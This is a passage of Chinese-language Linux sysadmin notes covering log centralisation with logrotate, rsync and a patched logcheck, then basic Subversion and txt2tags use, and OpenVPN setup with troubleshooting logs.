所以考虑另一种更稳妥的做法。首先,对于每一个单独的系统,syslog 会将日志记录到 /var/log,但有一些应用却不会,比如如果不设置 Apache 的相关编译参数,那么默认的 日志路径为 /usr/local/apache2/logs,这在将来集中的时候就会比较麻烦。所以首先 就是要把所有这些日志都集中到 /var/log,通常通过编辑配置文件中的参数就可以做到。 同时,一些通过 cron 运行的脚本也应该使用日志,而不产生标准输出,这样就不会产生 一大堆 cron 输出邮件,而是记录到日志中,通过日志分析来提供相关信息,这些日志 当然也应该定位到 /var/log 下。

然后,配置使用 logrotate 对日志进行轮转,保证日志文件不会无限制的增长,一些过于 老旧的记录会被删除,而单个日志文件的大小也可以得到控制。例如,将 Apache 的日志 定位到 /var/log/httpd 后,增加其轮转配置:/etc/logrotate.d/httpd:

  /var/log/httpd/*log {      monthly      rotate 6      missingok      notifempty      sharedscripts      postrotate      /bin/kill -HUP `cat /var/run/httpd.pid 2>/dev/null` 2> /dev/null || true      endscript  }

这样日志以月轮转,一共保留六个轮转文件,因此最多有半年的日志记录。notifempty 表示如果为空则不轮转。postrotate/endscript 表示在轮转完成后必须运行的命令,这里 是重启 httpd 进程以使用正确的日志文件,否则它会记录到 /var/log/httpd/access_log.1。因为这里使用了通配符 *log,所以要指定 sharedscripts,否则每轮转一个日志文件,都会运行一次 postrotate/endscript 部分 的命令。相应的,也就会有 prerotate/endscript 部分。

上面的配置也可以直接写在 /etc/logrotate.conf 中,但在 /etc/logrotate.d/ 中单独 为不同的应用编辑更直观也易于管理。另外 logrotate 也比较灵活,例如还可以设置为 限制日志大小的模式。

前面在配置备份的时候,已经将备份都保存到一个 SMB/CIFS 文件系统上的 homes 目录中 了(挂载在 /mnt/host),这里可以重复利用起来,在每个 /mnt/host 下建立 logs 目录, 然后在每个主机的 cron 中运行:

  10 05 * * * /usr/bin/rsync -a --delete /var/log/* /mnt/host/logs/

通过这种方式,日志都集中到了存贮的主机上。然后再在该主机上安装日志过滤和分析的 程序,对日志进行统一的处理。

日志过滤

这里使用 logcheck 来进行日志过滤。logcheck 是一个 shell 脚本,它通过调用 egrep -f $rulefiles 来对日志过滤,其基本思路是对日志记录有一个基本分级,不同级别使用 不同的 $rulefiles:cracking, violations 以及 ignore,日志中的记录会按照给定的 顺序被检查,如果在 cracking/violations 阶段发现匹配,则会被立即报告,而如果在 前面两个阶段没有匹配,又在 ignore 部分找到,则会作为噪音滤除;另外如果在 cracking/violations 阶段找到匹配,但确实又认为是噪音,那么 cracking 和 violations 都提供了相应的 ignore 检查,即 cracking.ignore 和 violations.ignore,可以在其中设置更精确的匹配规则从而忽略已经捕捉到的一些噪音 信息。如果都没有找到,则会作为 Unusal 的情况报告给系统管理员。

那么这里针对 logcheck-1.2.45 来进行配置。从 1.1.1 到 1.2.45,还是有比较大的变化 ,例如 logtail 由 C 程序改成了 perl 脚本。但最主要的一点是 logcheck-1.2.45 的 设计上正交性更好,而且提供了针对各种服务和应用的更多模式,因而可以给管理员更多 的自由选择。

在 1.1.1 中,只有四个模式匹配的配置文件:logcheck.hacking, logcheck.violations, logcheck.violations.ignore 以及 logcheck.ignore,而 1.2.45 中则分成几个目录:

  sh# ls /etc/logcheck/ -1  cracking.d  cracking.ignore.d  violations.d  violations.ignore.d  ignore.d.paranoid  ignore.d.server  ignore.d.workstation  logcheck.conf  logcheck.logfiles    sh# ls /etc/logcheck/ignore.d.server/  amandad     cvs-pserver  gps        jabberd     pdns       rpc_statd  ssh  anacron     cyrus        grinch     kernel      perdition  rsnapshot  stunnel  anon-proxy  dcc          horde3     logcheck    policyd    rsync      sympa  apache      dhclient     hylafax    logger.log  pop3d      samba      syslogd  arpwatch    dhcp         imap       mon         popa3d     saslauthd  tftpd  automount   dictd        imapproxy  nagios      postfix    scponly    thy  bind        dkfilter     imp        nfs         ppp        slapd      ucd-snmp  courier     dnsmasq      imp4       nntpcache   pptpd      smartd     uptimed  cpqarrayd   dovecot      innd       nscd        proftpd    smokeping  userv  cron        dspam        ipppd      ntp         pure-ftpd  snmpd      webmin  cups-lpd    exim4        isdnlog    oidentd     qpopper    spamd      xinetd  cvsd        fs_backup    isdnutils  openvpn     rbldnsd    squid    sh# cat /etc/logcheck/ignore.d.server/snmpd  ^\w{3} [ :0-9]{11} [._[:alnum:]-]+ snmpd\[[0-9]+\]: Connection from [.0-9]{7,15}$  ^\w{3} [ :0-9]{11} [._[:alnum:]-]+ snmpd\[[0-9]+\]: Connection from UDP: \[[.0-9]{7,15}\]:[0-9]{4,5}$  ^\w{3} [ :0-9]{11} [._[:alnum:]-]+ snmpd\[[0-9]+\]: NET-SNMP version.*$  ^\w{3} [ :0-9]{11} [._[:alnum:]-]+ snmpd\[[0-9]+\]: Received SNMP packet\(s\) from.*$  ^\w{3} [ :0-9]{11} [._[:alnum:]-]+ snmpd\[[0-9]+\]: Received TERM or STOP signal...  shutting down...$  ^\w{3} [ :0-9]{11} [._[:alnum:]-]+ snmpd: snmpd shutdown succeeded$  ^\w{3} [ :0-9]{11} [._[:alnum:]-]+ snmpd: snmpd startup succeeded$

这里 server/workstation 等表示的是一个级别。可以看到,在 ignore 的规则下,包含 很多针对不同应用程序的模式匹配配置文件,这样可以设定只使用需要的那些模式文件, 一来可以提高过滤的效率,二则提供了更好的配置灵活性,所以说这种设计的正交性更好 。如果设定使用某个应用程序的模式文件在后面谈到。先来看看如何安装 logcheck。

logcheck-1.2.45 的安装有点麻烦,由于使用的是 shell 脚本,所以平台相关性比较严重 一点,而且对于依赖性的检查不好。logcheck-1.2.45 依赖于 lockfile-progs,但除非你 安装了 logcheck 并运行,你不会知道这一点,而 lockfile-progs 在安装时也会出现 编译错误,因为缺少 lockfile.h 这个头文件,但它并不会告诉你这是因为还需要安装 liblockfile-1.06.2 这个包。

安装了上面几个包之后,配置 /etc/logcheck/logcheck.conf 以及 /etc/logcheck/logcheck.logfiles:

  sh# vi /etc/logcheck/logcheck.conf  REPORTLEVEL="server"  SENDMAILTO="root"    sh# vi /etc/logcheck/logcheck.logfiles  /data/hosts/*/logs/messages  /data/hosts/*/logs/secure  /data/hosts/*/logs/maillog  /data/hosts/*/logs/fs_backup.log

这里所有主机的日志都集中在了 /data/hosts/$hostname/logs 中了,所以使用通配符。

logcheck 不能以 root 身份运行,所以如果以普通用户 logcheck 运行,必须保证它对 日志文件具有读权限,否则在运行时 logtail 会报错。logtail 用来跟踪日志文件中的 信息,记录各个日志文件的处理进度,并附注日志文件的索引节和文件大小,以判断日志 文件是否被轮转过。默认情况下,会在日志的目录中生成一个 $logfile.offset 文件, 但 logcheck 调用 logtail 时使用了 -o 参数,因此会在 /var/lib/logcheck 下生成如 offset.data.hosts.db.logs.maillog 这样的文件,显然是将路径中的"/"替换成了"."。

对于权限问题,我的办法是这样的:因为 /data/hosts/*/logs 并不是每一个系统上的 /var/log,所以可以通过 setfacl 为 logcheck 用户设定读权限:

  datadir=/data/hosts/*/logs  find $datadir -type f | xargs setfacl -m user:logcheck:4  find $datadir -type d | xargs setfacl -m user:logcheck:5

当然前提是 /data 分区在挂载的时候设定了 acl 参数。那么可以使用一个这样的 shell 脚本:

  sh# vi /opt/scripts/logcheck  #!/bin/sh    datadir=/data/hosts    find $datadir -type f | xargs setfacl -m user:logcheck:4  find $datadir -type d | xargs setfacl -m user:logcheck:5  sudo -u logcheck /usr/sbin/logcheck $@    sh# crontab -e  30 08 * * * /opt/scripts/logcheck

在调试阶段,可以使用 logcheck -ot >/tmp/logcheck.out,这样会将输出重定向到文件 而不是发送邮件,-t(test mode) 则不会使用 logtail 对 logfiles offset 作 update。

这样就可以实际来做一次 log filter 了。但从结果来分析,发现没有做任何过滤,虽然 /etc/logcheck/ignore.d.server/* 中却确实有相应的模式!

因此我做了一个小"hack",首先分析一下 /usr/sbin/logcheck 这个 shell 程序,找到 寻找模式文件的那部分

  ......  cleanrules "$RULEDIR/cracking.d" $TMPDIR/cracking  cleanrules "$RULEDIR/violations.d" $TMPDIR/violations  cleanrules "$RULEDIR/violations.ignore.d" $TMPDIR/violations-ignore    # Now clean the ignore rulefiles for the report levels  for level in $REPORTLEVELS; do      cleanrules "$RULEDIR/ignore.d.$level" $TMPDIR/ignore  done    # The following cracking.ignore directory will only be used if  # $SUPPORT_CRACKING_IGNORE is set to 1 in the configuration file.  # This is *only* for local admin use.  if [ $SUPPORT_CRACKING_IGNORE -eq 1 ]; then      cleanrules "$RULEDIR/cracking.ignore.d" $TMPDIR/cracking-ignore  fi  ......  cleanrules() {      dir=$1      cleaned=$2        if [ -d $dir ]; then          if [ ! -d $cleaned ]; then          mkdir $cleaned \              || error "Could not make dir $cleaned for cleaned rulefiles."      fi      for rulefile in $(run-parts --list $dir); do          rulefile=$(basename $rulefile)          if [ -f ${dir}/${rulefile} ]; then          debug "cleanrules: ${dir}/${rulefile}"          if [ -r ${dir}/${rulefile} ]; then              # pipe to cat on greps to get usable exit status              egrep --text -v '^[[:space:]]*$|^#' $dir/$rulefile | cat \                      >> $cleaned/$rulefile \                  || error "Couldn't append to $cleaned/$rulefile. Disk Full?"          else              error "Couldn't read $dir/$rulefile"          fi          fi      done      elif [ -f $dir ]; then      error "cleanrules: '$dir' is a file, not a directory"      elif [ -z $dir ]; then      error "cleanrules: called without argument"      fi  }

可以看到,寻找模式文件的操作由 cleanrules() 函数来完成,而实际上有哪些文件需要 应用则是由 run-parts --list $dir 这个命令来查找的。增加一个 DEBUG 输出来查看有 哪些 rulefiles 被应用了,结果发现出错信息。

于是单独运行:

  sh# run-parts --list /etc/logcheck/ignore.d.server/  Not a directory: --list  sh# run-parts /etc/logcheck/ignore.d.server/ --list  # EMPTY!

所以这样实际上没有找到任何文件。

从 google search 的情况来看,run-parts 的平台相关性比较大,这个命令是用来寻找 一个目录下那些有执行权限的文件的,如果不使用 --list,就会执行这些文件。当然前提 是这个 run-parts 有这个参数,而 RHEL4 上面的这个 run-parts 就没有这个参数(实际 上只有一个 PATH 参数),而 logcheck 的开发者似乎对 debian 比较熟悉,所以这里不能 直接使用。

可以做一个修改,将 run-parts 命令改为:

  find $dir -type f -perm +0100

即可。对于使用 ulfs 安装,相应的 profile 为:

  sh# cat /usr/src/logcheck/.config  pkgname = "logcheck";  version = "1.2.45";  user = "logcheck";  groups = "";  group = "logcheck";  archive = "logcheck_1.2.45.tar.gz";  command = "tar xfz logcheck_1.2.45.tar.gz";  command = "cd logcheck-1.2.45";  command = "sed -i 's/install -d/mkdir -p/g' Makefile";  command = "sed -i 's/run-parts --list $dir/find $dir -type f -perm +0100/g' src/logcheck";  command = "make";  command = "cd ..";  command = "rm -rf logcheck-1.2.45";  time = "20070608 10:49:35 Fri"

然后,在 /etc/logcheck/ignore.d.server 下,对那些需要用到的模式文件,使用 chmod u+x 增加可执行权限,这样这些文件就会在过滤的时候被用到!由此可见,这种 方法提供了更高的正交性和灵活性。

然后再进一步调试,在相应的模式文件中增加更多的匹配规则,知道信噪比达到可以接收 的程度。

日志分析和挖掘

Subversion 版本控制

subversion 的简单使用

无论如何,建议您先参考这本书: 使用 Subversion 进行版本控制 阅读1~4章以了解基本概念。

通常在 Windows 下只会使用 svn 的客户端,那么应该阅读: TortoiseSVN 基本上,你只需要利用鼠标右键中的 TortoiseSVN 菜单,然后对选中的文件和目录进行相应的操作即可。

本地使用

如下即可:

  sh$ svnadmin create --fs-type fsfs /mnt/file/data/ea  sh$ mkdir tmp  sh$ cd tmp  sh$ mkdir crablfs/{trunk,tags} -p  sh$ svn import . file:///mnt/file/data/ea  # 创建版本库并导入初始版本  sh$ cd /mnt/file/work/project  sh$ svn checkout /mnt/file/data/ea/crablfs crablfs  # 检出当前版本  sh$ cd !$  sh$ cp /path/to/userpack .  sh$ svn add userpack  sh$ svn commit  sh$ vi userpack  sh$ svn commit

远程使用

从 http 服务上运行 svn 是比较普遍的,所以导入和检出会成为如下的形式:

  sh$ svn import . http://docs.domain/repos/sysadm  sh$ svn checkout http://docs.domain/repos/sysadm sysadm

其中 http://docs.domain/repos 是所有版本库的集中存放目录,sysadm 才是实际的一个 Project。

TortoiseSVN 选择相应的鼠标右键菜单选项即可。

注意:svn 针对的是工作拷贝,svnadmin/svnlook 针对的是版本库本身,所以只能在本地操作,不能远程操作!

为 TortoiseSVN 调整 Kaspersky

Kaspersky 防火墙默认会阻止 TortoiseSVN 连接远端的 http svn,要打开限制,可以进入"设置"->"保护"->"信任区域..."->"信任程序"->"添加...",选择你的 TortoiseProc.exe,并打开其所有限制即可。

备份和恢复

  svnadmin dum /mnt/file/data/ea >dumpfile  svnadmin create --fs-type fsfs /tmp/ea  svnadmin load /tmp/ea 

subversion 修改 log

  sh$ svnadmin setlog /mnt/file/data/ea/ -r 25 ~/tmp  svn: Repository has not been enabled to accept revision propchanges;  ask the administrator to create a pre-revprop-change hook  sh$ svnadmin setlog /mnt/file/data/ea/ -r 25 ~/tmp --bypass-hooks

当然应该先编辑文件 ~/tmp 写入需要的日志信息,这样上面的命令就会重写第25号版本的日志内容。

svn simple tagging

tagging 的目的是做一个标签,实际上就是做一个快照拷贝,这在做 release 的时候比较有用,这样项目的推进就是一个阶段一个阶段的来进行,而每一个 tag 都可以作为一个可以发布的产品。

  sh$ svn copy file:///mnt/file/data/ea/crablfs/trunk file:///mnt/file/data/ea/crablfs/tags/v0.1.1alpha -m "tagging v0.1.1alpha"  Committed revision 59.  sh$ svn update

其中 $repos=/mnt/file/data/

hooks/post-commit

使用钩子

文档化

txt2tags

txt2tags 是非常简单易用的,只需要几分钟的学习,你就可以开始使用它来编写文档了,同时再与 Subversin 相结合,就可以达到很好的控制和多人协作的效果。

比较有价值的资源

installation && vim syntax scheme

安装很简单,将解压包里的 txt2tags 拷贝到 /usr/local/bin 即可。

为了在编辑器中实现语法高亮,必须做一些调整。对 vim,需要将 syntax highlighting file 拷贝到系统中,如果是 root 用户,可以将 extras/txt2tags.vim 拷贝到诸如 /usr/share/vim/vim63/syntax/,普通用户可以拷贝到 ~/.vim/syntax。在编辑是使用 :set syntax=txt2tags 即可实现 txt2tags 语法高亮。

但为了自动实现,可以在 /usr/share/vim/vim63/filetype.vim 中

  " Z-Shell script  au BufNewFile,BufRead zsh*,zlog*        setf zsh

后面加上两行:

  " txt2tags file  au BufNewFile,BufRead *.t2t                 setf txt2tags

注意在 .vim 文件中 " 表示注释。普通用户可以直接在 ~/.vimrc 中加入:

  au BufNewFile,BufRead *.t2t set ft=txt2tags

关于 filetype 的说明也可以在 extras/txt2tags.vim 的 INSTALL 一节找到。

关于其他编辑器,目前没有研究的结果。如果你知道,可以将其加入这个文档。

mind mapping

推荐使用思维导图工具,来记录和图形化在实验和编写文档时的思路。我目前使用 freemind,主要是一方面可以在 Windows 和 Linux 都可以使用(基于 Java),另一方面我也希望有办法能够在 txt2tags %!postproc 部分或 svn postcommit hook 里自动的将 mind map 图转换成 xhtml 并自动嵌入到文档中。

VPN: SSL/TLS implementation

VPN 原理

VPN(Virtual Private Network),其主要目标是将企业在不同地域的各个子网络安全的 连接成一个统一的内部网络,从而能够方便管理并降低成本。目前主要有三中实现方式: IPsec, SSL based VPN 和 PPTP。其中前两种的实现比较安全,应用也比较广泛。

大体上,IPsec 协议工作在 IP 层和 TCP 层之间,因此必须在内核空间中运行,可以选择 使用内核中的模块(2.6.x),或者使用具体的实现软件提供的模块(OpenS/WAN)。一般来说, IPsec 有其复杂性,这种复杂性对安全是不利的,同时 IPsec 和 防火墙的协同工作非常 困难,特别是当使用 NAT(SNAT) 后,将完全不能建立 VPN(因为 IP 地址被用作 AH: Authentication Header 的加密中 -- ESP: Encapulating Servity Payload; IKE: Internet Key Exchange), 而且不同厂商的路由器的具体实现也常常不能协调,所以目前的基于 SSL 的方式应该是 更好的选择。其中的开源软件有 OpenVPN 等。

OpenVPN 利用由 Linux 内核提供的 Virutal Network Interface Driver,可以运行在 两种虚拟的网络接口上:tun/tap,前者模拟 ppp 协议,后者模拟 ethernet 协议。这 两种接口实际上是将整个 IP 及 IP 协议栈以上的信息全部封装到了 UDP(或 TCP)层之上 。所以 OpenVPN 可以运行在用户空间,其安全性和复杂度都可以得到改善。可以看一下其 协议栈的工作情况:

    [TCP]    [IP ]        [TUN driver]<=={openvpn}==>[SSL/TLS lib]    [UDP]    [IP ]    [eth0 link layer]    packet

或者换一种视角

    {openvpn}==>[SSL/TLS]=={openvpn}==\   {Apps}    [UDP]                             |   [TCP]    [IP]                              |   [IP]            [eth0]                            \==>[TUN]    packet

如果是 PPPoE,做一个对比,则是这样:

    [TCP/UDP]    [IP]    [PPPoE]    [eth0]    packet

这里 TUN 建立在了 UDP 而不是 TCP,是因为其封装的已经是 TCP,没有必要做两个连接 校验,那样在网络状况不太好时,反而会降低连接性能。

OpenVPN 使用 C/S 模式,有一个 openvpn server 和若干 clients,client 和 server 之间以及 clients 之间建立 VPN 连接都需要通过 vpn server 来实现和转发。

  [client]       [client]       [client]     |              |              |     |              V              |     |        [vpn server]         |     \------>(udp port 1194)<------/               

但是注意 client 是没有监听 UDP 1194 的,即只使用一个 server udp port,就可以将 server 和所有的 clients 全部连接成一个统一的私有网络,而不需要设置多个监听端口 。其原理是,client 周期性的向 server openvpn daemon 的 udp port 发送 UDP 报文, server 在返回的报文中封装信息,如果有有用的信息则会被 client 的 openvpn daemon 使用。在下面的实验中利用嗅探器即可看到这种情况。

在两个 LAN 之间建立 VPN 连接主要包括两个方面的问题,其一是加密,其二是服务器和 客户端之间的双向认证。在一般的 SSL 应用例如 https 中,利用 server.key(私钥) 和 server.crt(公钥)来建立加密的连接,同时 server.crt 可以使用 CA 的私钥来进行数字 签名,这样客户端可以利用 CA 的公钥来验证签名,从而客户端可以对服务进行认证; 而服务对客户端的认证则主要是通过用户账户信息的认证来实现的,一般 Web 服务后台 都会有数据库存放相关的账户信息,当然也可以利用其他的认证方式,比如 mod_auth_kerb 来利用 Kerberos 认证。

而在 SSL VPN 中,这些机制无法使用,而且对认证的要求也不需要达到用户级别,只需要 保证两边的主机都确实是那个 IP 对应的主机,而不是伪造的 IP 地址就可以了。

这样一来,不仅需要 server.key/server.crt 密钥对,而且也需要 client.key/client.crt,并且这个 client.crt 也应该是经过 CA 的数字签名的。这里 并不需要提供对外的服务,所以签署自己的 CA 就行了。

参考:

基本配置

分三步:

  1. 安装并拷贝配置
  2. 生成证书和密钥
  3. 编辑配置文件

安装依赖于 lzo。安装的 profile 如下:

  sh$ cat /usr/src/lzo/.config  pkgname = "lzo";  version = "2.02";  user = "lzo";  groups = "";  group = "lzo";  archive = "lzo-2.02.tar.gz";  command = "tar xfz lzo-2.02.tar.gz";  command = "cd lzo-2.02";  command = "./configure --enable-shared";  command = "make";  command = "make install";  command = "cd ..";  command = "rm -rf lzo-2.02";  time = "20070425 13:54:07 Wed";    sh$ cat /usr/src/openvpn/.config  pkgname = "openvpn";  version = "2.0.9";  user = "openvpn";  groups = "";  group = "openvpn";  archive = "openvpn-2.0.9.tar.gz";  command = "tar xfz openvpn-2.0.9.tar.gz";  command = "cd openvpn-2.0.9";  command = "./configure --enable-pthreads";  command = "make";  command = "make install";  command = "cd ..";  command = "rm -rf openvpn-2.0.9";  time = "20070425 13:56:30 Wed";

然后拷贝配置:

  sh# mkdir /etc/openvpn  sh# cd /usr/src/openvpn/openvpn-2.0.9  sh# cp -a easy-rsa /etc/openvpn  sh# cp -f sample-config-files/server.conf /etc/openvpn  # on Server  sh# cp -f sample-config-files/client.conf /etc/openvpn  # on Client

生成密钥和证书:

  server# cd /etc/openvpn/easy-rsa  server# . ./vars  server# ./clean-all  server# ./build-ca  # generate ca.crt/ca.key for digital signature  server# ./build-key-server server  # generate server side key and certificate  server# ./build-dh  server# mv keys ../  client# scp /etc/openvpn/keys/ca.* /etc/openvpn/easy-rsa/keys/  client# cd !$/../  client# ./build-key client1  # generate client side key and certificate  client# mv keys ../

修改配置:

  server# diff /usr/src/openvpn/openvpn-2.0.9/sample-config-files/server.conf \   /etc/openvpn/server.conf | grep '^>'  > ca /etc/openvpn/keys/ca.crt  > cert /etc/openvpn/keys/server.crt  > key /etc/openvpn/keys/server.key  # This file should be kept secret  > dh /etc/openvpn/keys/dh1024.pem  > #; server 10.8.0.0 255.255.255.0  > server 192.168.1.0 255.255.255.0  > client-to-client  > user openvpn  > group openvpn   client# diff /usr/src/openvpn/openvpn-2.0.9/sample-config-files/client.conf \   /etc/openvpn/client.conf | grep '^>'  > #; remote my-server-1 1194  > remote 124.74.193.218 1194  > user openvpn  > group openvpn  > ca /etc/openvpn/keys/ca.crt  > cert /etc/openvpn/keys/client1.crt  > key /etc/openvpn/keys/client1.key

client-to-client 是为了让客户端自网络之间也能够互相连接。

注意这里 key/cert 等指定的都是绝对路径,因为使用相对路径是无法启动 openvpn daemon 的,除非进入 /etc/openvpn(当使用 dh keys/dh1024.pem 这样的 路径时),相应的启动时出错信息类似如下:

  Sun Apr 29 11:45:29 2007 Cannot load certificate file keys/client1.crt: error:02001002:system library:fopen:No such file or directory: error:20074002:BIO routines:FILE_CTRL:system lib: error:140AD002:SSL routines:SSL_CTX_use_certificate_file:system lib  Sun Apr 29 11:45:29 2007 Exiting

启动程序简单的使用:

  server# openvpn /etc/openvpn/server.conf  client# openvpn /etc/openvpn/client.conf

即可。如果需要以 daemon 方式在后台运行,使用:

  server# openvpn --config /etc/openvpn/server.conf --daemon  client# openvpn --config /etc/openvpn/client.conf --daemon

启动,消息默认输出到 /var/log/messages。但在调试阶段,可以使用前面的方式,信息 输出到标准输出。

在这个阶段,还遇到其他一些问题,相应的症状和解决办法如下:

Some Trouble Shooting

  • Cannot load certificate file
      server# openvpn /etc/openvpn/server.conf  Thu Apr 26 12:56:46 2007 OpenVPN 2.0.9 i686-pc-linux [SSL] [LZO] [EPOLL] built on Apr 26 2007  Thu Apr 26 12:56:46 2007 Diffie-Hellman initialized with 1024 bit key  Thu Apr 26 12:56:46 2007 Cannot load certificate file keys/server.crt: error:0906D06C:PEM routines:PEM_read_bio:no start line: error:140AD009:SSL routines:SSL_CTX_use_certificate_file:PEM lib  Thu Apr 26 12:56:46 2007 Exiting
    注意到在生成 server.key/server.crt 的时候,出现如下信息:
      Check that the request matches the signature  Signature ok  The Subject's Distinguished Name is as follows  countryName           :PRINTABLE:'CN'  stateOrProvinceName   :PRINTABLE:'Shanghai'  localityName          :PRINTABLE:'Shanghai'  organizationName      :PRINTABLE:'OpenVPN-TEST'  emailAddress          :IA5STRING:'zhoupeng@zovatech.com'  The commonName field needed to be supplied and was missing
    然后检查一下 server.*
      server# du keys/server.* -hs  0       keys/server.crt  4.0K    keys/server.csr  4.0K    keys/server.key
    可以看到 server.crt 为空,根据上面的提示,说明实际上并没有使用 ca.key 来对 server.crt 进行签名!所以在使用./build-key-server server时必须指定 Comman Name,这时才会看到使用 ca 进行签名的相应的提示。

  • No route to host
      Thu Apr 26 11:17:43 2007 UDPv4 link remote: 124.74.193.213:1194  Thu Apr 26 11:17:43 2007 read UDPv4 [EHOSTUNREACH]: No route to host (code=113)  Thu Apr 26 11:17:45 2007 read UDPv4 [EHOSTUNREACH]: No route to host (code=113)  Thu Apr 26 11:17:47 2007 read UDPv4 [EHOSTUNREACH]: No route to host (code=113)
    IP 地址写错了。

  • TLS Error Unroutable control packet/Connection refused

    Client

      Thu Apr 26 11:21:25 2007 UDPv4 link remote: 124.74.193.218:1194  Thu Apr 26 11:21:25 2007 TLS Error: Unroutable control packet received from 124.74.193.218:1194 (si=3 op=P_ACK_V1)  Thu Apr 26 11:21:27 2007 TLS Error: Unroutable control packet received from 124.74.193.218:1194 (si=3 op=P_CONTROL_V1)  Thu Apr 26 11:21:27 2007 TLS Error: Unroutable control packet received from 124.74.193.218:1194 (si=3 op=P_CONTROL_V1)  Thu Apr 26 11:21:27 2007 TLS Error: Unroutable control packet received from 124.74.193.218:1194 (si=3 op=P_CONTROL_V1)
    Server
      Thu Apr 26 15:07:51 2007 MULTI: multi_create_instance called  Thu Apr 26 15:07:51 2007 218.80.208.72:33307 Re-using SSL/TLS context  Thu Apr 26 15:07:51 2007 218.80.208.72:33307 LZO compression initialized  Thu Apr 26 15:07:51 2007 218.80.208.72:33307 Control Channel MTU parms [ L:1542 D:138 EF:38 EB:0 ET:0 EL:0 ]  Thu Apr 26 15:07:51 2007 218.80.208.72:33307 Data Channel MTU parms [ L:1542 D:1450 EF:42 EB:135 ET:0 EL:0 AF:3/1 ]  Thu Apr 26 15:07:51 2007 218.80.208.72:33307 Local Options hash (VER=V4): '530fdded'  Thu Apr 26 15:07:51 2007 218.80.208.72:33307 Expected Remote Options hash (VER=V4): '41690919'  Thu Apr 26 15:07:51 2007 218.80.208.72:33307 TLS: Initial packet from 218.80.208.72:33307, sid=64acea57 ed3e6665  Thu Apr 26 15:07:51 2007 read UDPv4 [ECONNREFUSED|ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 15:07:51 2007 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 15:07:53 2007 read UDPv4 [ECONNREFUSED|ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 15:07:53 2007 read UDPv4 [ECONNREFUSED|ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 15:07:53 2007 218.80.208.72:33307 TLS: new session incoming connection from 218.80.208.72:33307  Thu Apr 26 15:07:53 2007 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 15:07:55 2007 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 15:07:55 2007 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 15:07:55 2007 218.80.208.72:33307 TLS: new session incoming connection from 218.80.208.72:33307  Thu Apr 26 15:08:06 2007 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 15:08:06 2007 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 15:08:06 2007 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 15:08:06 2007 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
    这是由于两台主机之间的时间不一致造成的,默认的时间间隔为一小时。使用 ntpdate 同步时间。

  • certificate verify failed

    Server

      Thu Apr 26 11:29:01 2007 MULTI: multi_create_instance called  Thu Apr 26 11:29:01 2007 218.80.208.72:33311 Re-using SSL/TLS context  Thu Apr 26 11:29:01 2007 218.80.208.72:33311 LZO compression initialized  Thu Apr 26 11:29:01 2007 218.80.208.72:33311 Control Channel MTU parms [ L:1542 D:138 EF:38 EB:0 ET:0 EL:0 ]  Thu Apr 26 11:29:01 2007 218.80.208.72:33311 Data Channel MTU parms [ L:1542 D:1450 EF:42 EB:135 ET:0 EL:0 AF:3/1 ]  Thu Apr 26 11:29:01 2007 218.80.208.72:33311 Local Options hash (VER=V4): '530fdded'  Thu Apr 26 11:29:01 2007 218.80.208.72:33311 Expected Remote Options hash (VER=V4): '41690919'  Thu Apr 26 11:29:01 2007 218.80.208.72:33311 TLS: Initial packet from 218.80.208.72:33311, sid=12ddca06 5b28f569  Thu Apr 26 11:29:02 2007 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 11:29:03 2007 read UDPv4 [ECONNREFUSED|ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 11:29:03 2007 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 11:29:04 2007 218.80.208.72:33311 TLS: new session incoming connection from 218.80.208.72:33311  Thu Apr 26 11:29:04 2007 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 11:29:05 2007 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 11:29:05 2007 read UDPv4 [ECONNREFUSED|ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 11:29:06 2007 218.80.208.72:33311 TLS: new session incoming connection from 218.80.208.72:33311  Thu Apr 26 11:29:08 2007 read UDPv4 [ECONNREFUSED|ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 11:29:08 2007 read UDPv4 [ECONNREFUSED|ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 11:29:09 2007 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 11:29:10 2007 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 11:29:12 2007 read UDPv4 [ECONNREFUSED|ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 11:29:14 2007 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 11:29:14 2007 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 11:29:16 2007 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)  Thu Apr 26 11:29:16 2007 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)

    Client

      Thu Apr 26 11:30:02 2007 UDPv4 link remote: 124.74.193.218:1194  Thu Apr 26 11:30:02 2007 TLS: Initial packet from 124.74.193.218:1194, sid=8cb8baf3 feeb4ea0  Thu Apr 26 11:30:03 2007 VERIFY ERROR: depth=1, error=certificate is not yet valid: /C=CN/ST=Shanghai/L=Shanghai/O=OpenVPN-TEST/emailAddress=zhoupeng@zovatech.com  Thu Apr 26 11:30:03 2007 TLS_ERROR: BIO read tls_read_plaintext error: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed  Thu Apr 26 11:30:03 2007 TLS Error: TLS object -> incoming plaintext read error  Thu Apr 26 11:30:03 2007 TLS Error: TLS handshake failed  Thu Apr 26 11:30:03 2007 TCP/UDP: Closing socket  Thu Apr 26 11:30:03 2007 SIGUSR1[soft,tls-error] received, process restarting  Thu Apr 26 11:30:03 2007 Restart pause, 2 second(s)  Thu Apr 26 11:30:05 2007 IMPORTANT: OpenVPN's default port number is now 1194, based on an 